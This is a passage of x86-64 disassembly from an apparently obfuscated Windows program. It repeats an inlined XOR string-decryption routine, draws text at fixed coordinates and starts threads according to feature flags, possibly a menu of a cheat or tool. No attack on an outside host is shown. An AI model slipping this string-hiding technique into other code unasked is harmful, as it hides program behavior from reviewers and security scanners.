movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140073b90
cmp r8d, 0x12
jge 0x140073ce3
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140073cb0
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x188]
jmp 0x140073ebe
lea rax, [rbp + 0x188]
mov qword [rbp + 0x970], rax
lea rcx, [rbp + 0x188]
call fcn.14007a1d0
mov rbx, rax
movups xmm0, xmmword [0x1400dcff0]
movups xmmword [rbp - 0x70], xmm0
movzx ecx, byte [0x1400dd000]
mov byte [rbp - 0x60], cl
mov r8d, esi
cmp r15d, 2
jl 0x140073e6d
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x6c]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140073d60
cmp r8d, 0x11
jge 0x140073eb3
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140073e80
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xa0]
call fcn.14004cfb0
nop
mov r9, rbx
xor r8d, r8d
lea edx, [r8 + 2]
mov rcx, rax
call fcn.140067b00
test al, al
je 0x140073eeb
mov byte [0x140126fc6], 1
mov dword [reloc.WS2_32.dll_closesocket], 2
mov dword [rbp + 0x288], 0x41880000
mov dword [rbp + 0x28c], 0x43380000
lea rcx, [rbp + 0x288]
call fcn.140012610
lea rax, [rbp + 0x188]
mov qword [rbp + 0x970], rax
lea rdx, [0x140124b70]
lea rcx, [rbp + 0x188]
call fcn.14007a1d0
mov rbx, rax
movsd xmm0, qword [str.bfvr]
movsd qword [rbp + 0x68], xmm0
mov ecx, dword [0x1400ddfa8]
mov dword [rbp + 0x70], ecx
movzx ecx, word [0x1400ddfac]
mov word [rbp + 0x74], cx
cmp byte [0x1400ddfad], 0
je 0x1400740b3
mov r8d, esi
cmp r15d, 2
jl 0x14007406e
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.bfvr]
xorps xmm2, xmm0
movd dword [rbp + 0x68], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6c]
xorps xmm2, xmm1
movd dword [rbp + 0x6c], xmm2
mov r8d, r12d
movsxd rax, r8d
lea r9, [rbp + 0x68]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140074080
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0xa0]
call fcn.14004cfb0
nop
mov r9, rbx
xor r8d, r8d
lea edx, [r8 + 4]
mov rcx, rax
call fcn.140067b00
mov dword [rbp + 0x98], 0x41880000
mov dword [rbp + 0x9c], 0x439b0000
lea rcx, [rbp + 0x98]
test al, al
je 0x140074106
mov dword [reloc.WS2_32.dll_closesocket], 4
mov byte [0x140126fc6], 1
call fcn.140012610
mov eax, dword [str.puc8]
mov dword [rbp - 0x50], eax
movzx eax, word [0x1400dd3ec]
mov word [rbp - 0x4c], ax
movzx eax, byte [0x1400dd3ee]
mov dword [rbp + 0xc4], 0x42700000
mov dword [rbp + 0xc0], 0x43ad8000
mov byte [rbp - 0x50], 0x49
xor byte [rbp - 0x4f], 0x33
xor byte [rbp - 0x4e], 0x34
xor byte [rbp - 0x4d], 0x35
xor byte [rbp - 0x4c], 0x36
xor byte [rbp - 0x4b], 0x37
xor al, 0x38
mov byte [rbp - 0x4a], al
xor r8d, r8d
lea rdx, [rbp + 0xc0]
lea rcx, [rbp - 0x50]
call fcn.1400303c0
test al, al
je 0x140075475
mov byte [0x140126fc6], 1
mov byte [0x140126ff4], 1
mov byte [0x140126f9a], 1
jmp 0x140075475
mov eax, dword [reloc.WS2_32.dll_closesocket]
cmp eax, 3
jne 0x14007429d
mov rcx, qword [0x140126fe8]
call fcn.14000f6d0
mov rax, qword [0x140126fa0]
mov rcx, qword [rax + 0x3f08]
movss xmm6, dword [rcx + 0x28]
mov rdx, r14
cmp qword [0x140158350], 0xf
cmova rdx, qword [0x140158338]
movss dword [rsp + 0x20], xmm8
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3e8]
call fcn.14000a1b0
subss xmm6, dword [rax]
cvtps2pd xmm0, xmm6
divsd xmm0, xmm15
cvtpd2ps xmm0, xmm0
movss dword [rbp + 0x290], xmm0
mov dword [rbp + 0x294], 0x42f00000
lea rcx, [rbp + 0x290]
call fcn.140012610
mov rcx, r14
cmp qword [0x140158350], 0xf
cmova rcx, qword [0x140158338]
call fcn.14002fa40
mov rax, qword [0x140126fa0]
mov rcx, qword [rax + 0x3f08]
movss xmm0, dword [rcx + 0x28]
subss xmm0, xmm10
cvtps2pd xmm0, xmm0
divsd xmm0, xmm13
cvtpd2ps xmm0, xmm0
movss dword [rbp + 0x298], xmm0
mov dword [rbp + 0x29c], 0x42200000
lea rcx, [rbp + 0x298]
call fcn.140012610
cmp byte [0x140126ff4], 0
je 0x1400744bb
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [0x14005c620]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x1400744b4
cmp eax, 2
jne 0x1400743a8
mov rcx, qword [0x140126fe8]
call fcn.14000f6d0
mov rax, qword [0x140126fa0]
mov rcx, qword [rax + 0x3f08]
movss xmm6, dword [rcx + 0x28]
mov rdx, r14
cmp qword [0x140158350], 0xf
cmova rdx, qword [0x140158338]
movss dword [rsp + 0x20], xmm8
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3f0]
call fcn.14000a1b0
subss xmm6, dword [rax]
cvtps2pd xmm0, xmm6
divsd xmm0, xmm15
cvtpd2ps xmm0, xmm0
movss dword [rbp + 0x2a0], xmm0
mov dword [rbp + 0x2a4], 0x42f00000
lea rcx, [rbp + 0x2a0]
call fcn.140012610
mov rcx, r14
cmp qword [0x140158350], 0xf
cmova rcx, qword [0x140158338]
call fcn.14002fa40
mov rax, qword [0x140126fa0]
mov rcx, qword [rax + 0x3f08]
movss xmm0, dword [rcx + 0x28]
subss xmm0, xmm10
cvtps2pd xmm0, xmm0
divsd xmm0, xmm13
cvtpd2ps xmm0, xmm0
movss dword [rbp + 0x2a8], xmm0
mov dword [rbp + 0x2ac], 0x42200000
lea rcx, [rbp + 0x2a8]
call fcn.140012610
cmp byte [0x140126ff4], 0
je 0x1400744bb
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [0x1400587e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x1400744b4
cmp eax, 4
jne 0x140075475
mov rcx, qword [0x140126fe8]
call fcn.14000f6d0
mov rax, qword [0x140126fa0]
mov rcx, qword [rax + 0x3f08]
movss xmm6, dword [rcx + 0x28]
mov rdx, r14
cmp qword [0x140158350], 0xf
cmova rdx, qword [0x140158338]
movss dword [rsp + 0x20], xmm8
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3f8]
call fcn.14000a1b0
subss xmm6, dword [rax]
cvtps2pd xmm0, xmm6
divsd xmm0, qword [0x1400dfba8]
cvtpd2ps xmm0, xmm0
movss dword [rbp + 0x2b0], xmm0
mov dword [rbp + 0x2b4], 0x42c80000
lea rcx, [rbp + 0x2b0]
call fcn.140012610
mov rcx, r14
cmp qword [0x140158350], 0xf
cmova rcx, qword [0x140158338]
call fcn.14002fa40
mov rax, qword [0x140126fa0]
mov rcx, qword [rax + 0x3f08]
movss xmm0, dword [rcx + 0x28]
subss xmm0, xmm10
cvtps2pd xmm0, xmm0
divsd xmm0, xmm13
cvtpd2ps xmm0, xmm0
movss dword [rbp + 0x2b8], xmm0
mov dword [rbp + 0x2bc], 0x42200000
lea rcx, [rbp + 0x2b8]
call fcn.140012610
cmp byte [0x140126ff4], 0
je 0x1400744bb
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [0x14004d580]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x140126ff4], 0
call fcn.140069270
call fcn.140031f70
call fcn.14000f750
jmp 0x140075475
mov byte [0x140126fc6], 1
mov rcx, qword [0x140126fe8]
call fcn.14000f6d0
mov rax, qword [0x140126fa0]
mov rcx, qword [rax + 0x3f08]
movss xmm6, dword [rcx + 0x28]
movups xmm0, xmmword [str.q_QTB]
movups xmmword [rbp - 0x70], xmm0
movsd xmm0, qword [0x1400de340]
movsd qword [rbp - 0x60], xmm0
movzx eax, word [0x1400de348]
mov word [rbp - 0x58], ax
cmp byte [0x1400de349], 0
je 0x1400746b3
mov r8d, esi
cmp r15d, 2
jl 0x14007466d
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm7, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x6c]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140074560
cmp r8d, 0x1a
jge 0x1400746b3
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140074680
movss dword [rsp + 0x20], xmm8
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x390]
call fcn.14000a1b0
subss xmm6, dword [rax]
mulss xmm6, xmm9
movss dword [rbp + 0x1c8], xmm6
mov dword [rbp + 0x1cc], 0x42700000
lea rcx, [rbp + 0x1c8]
call fcn.140012610
movups xmm0, xmmword [str.q_QTB]
movups xmmword [rbp - 0x70], xmm0
movsd xmm0, qword [0x1400de340]
movsd qword [rbp - 0x60], xmm0
movzx eax, word [0x1400de348]
mov word [rbp - 0x58], ax
cmp byte [0x1400de349], 0
je 0x1400748b3
mov r8d, esi
cmp r15d, 2
jl 0x14007486f
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x6c]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140074762
cmp r8d, 0x1a
jge 0x1400748b3
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140074880
lea rcx, [rbp - 0x70]
call fcn.14002fa40
call fcn.14000f750
mov rcx, qword [0x140126fe8]
call fcn.14000f6d0
mov rax, qword [0x140126fa0]
mov rcx, qword [rax + 0x3f08]
movss xmm6, dword [rcx + 0x28]
movups xmm0, xmmword [0x1400dd4f8]
movups xmmword [rbp - 0x70], xmm0
movzx eax, word [0x1400dd508]
mov word [rbp - 0x60], ax
movzx eax, byte [0x1400dd50a]
mov byte [rbp - 0x5e], al
mov r8d, esi
cmp r15d, 2
jl 0x140074a4d
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm7, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x6c]
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140074940
cmp r8d, 0x13
jge 0x140074a93
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140074a60
movss dword [rsp + 0x20], xmm8
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x48]
call fcn.14000a1b0
subss xmm6, dword [rax]
mulss xmm6, xmm9
movss dword [rbp + 0x1d0], xmm6
mov dword [rbp + 0x1d4], 0x42b40000
lea rcx, [rbp + 0x1d0]
call fcn.140012610
movsd xmm0, qword [0x1400dce60]
movsd qword [rbp - 0x80], xmm0
movzx ecx, word [0x1400dce68]
mov word [rbp - 0x78], cx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp - 0x80], 0x59
xor byte [rbp - 0x7f], 0x33
xor byte [rbp - 0x7e], 0x34
xor byte [rbp - 0x7d], 0x35
xor byte [rbp - 0x7c], 0x36
xor byte [rbp - 0x7b], 0x37
xor byte [rbp - 0x7a], 0x38
xor byte [rbp - 0x79], 0x39
xor cl, 0x3a
mov byte [rbp - 0x78], cl
xor byte [rbp - 0x77], 0x3b
xor al, 0x3c
mov byte [rbp - 0x76], al
lea rcx, [rbp - 0x80]
call fcn.14002fa40
movaps xmm1, xmm8
xorps xmm0, xmm0
call fcn.140012560
mov rax, qword [0x1400dd2e0]
mov qword [rbp + 0x970], rax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x140074cb3
cmp r15d, 2
jl 0x140074c68
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x970]
xorps xmm2, xmm1
movd dword [rbp + 0x970], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x974]
xorps xmm2, xmm1
movd dword [rbp + 0x974], xmm2
jmp 0x140074cb3
lea r9, [rbp + 0x970]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140074c80
movaps xmm0, xmmword [0x1400dff30]
movups xmmword [rsp + 0x70], xmm0
lea rdx, [rbp + 0x970]
lea rcx, [rsp + 0x70]
call fcn.14002fb80
movaps xmm1, xmm8
xorps xmm0, xmm0
call fcn.140012560
lea rcx, reloc.WLDAP32.dll_Ordinal_33
call fcn.14002fa40
call fcn.14000f750
mov rcx, qword [0x140126fe8]
call fcn.14000f6d0
mov rax, qword [0x140126fa0]
mov rcx, qword [rax + 0x3f08]
movss xmm6, dword [rcx + 0x28]
movups xmm0, xmmword [str.qZA_YM_]
movups xmmword [rbp - 0x70], xmm0
mov eax, dword [0x1400dcd90]
mov dword [rbp - 0x60], eax
cmp byte [0x1400dcd93], 0
je 0x140074ec3
mov r8d, esi
cmp r15d, 2
jl 0x140074e7d
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm7, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x6c]
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140074d70
cmp r8d, 0x14
jge 0x140074ec3
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
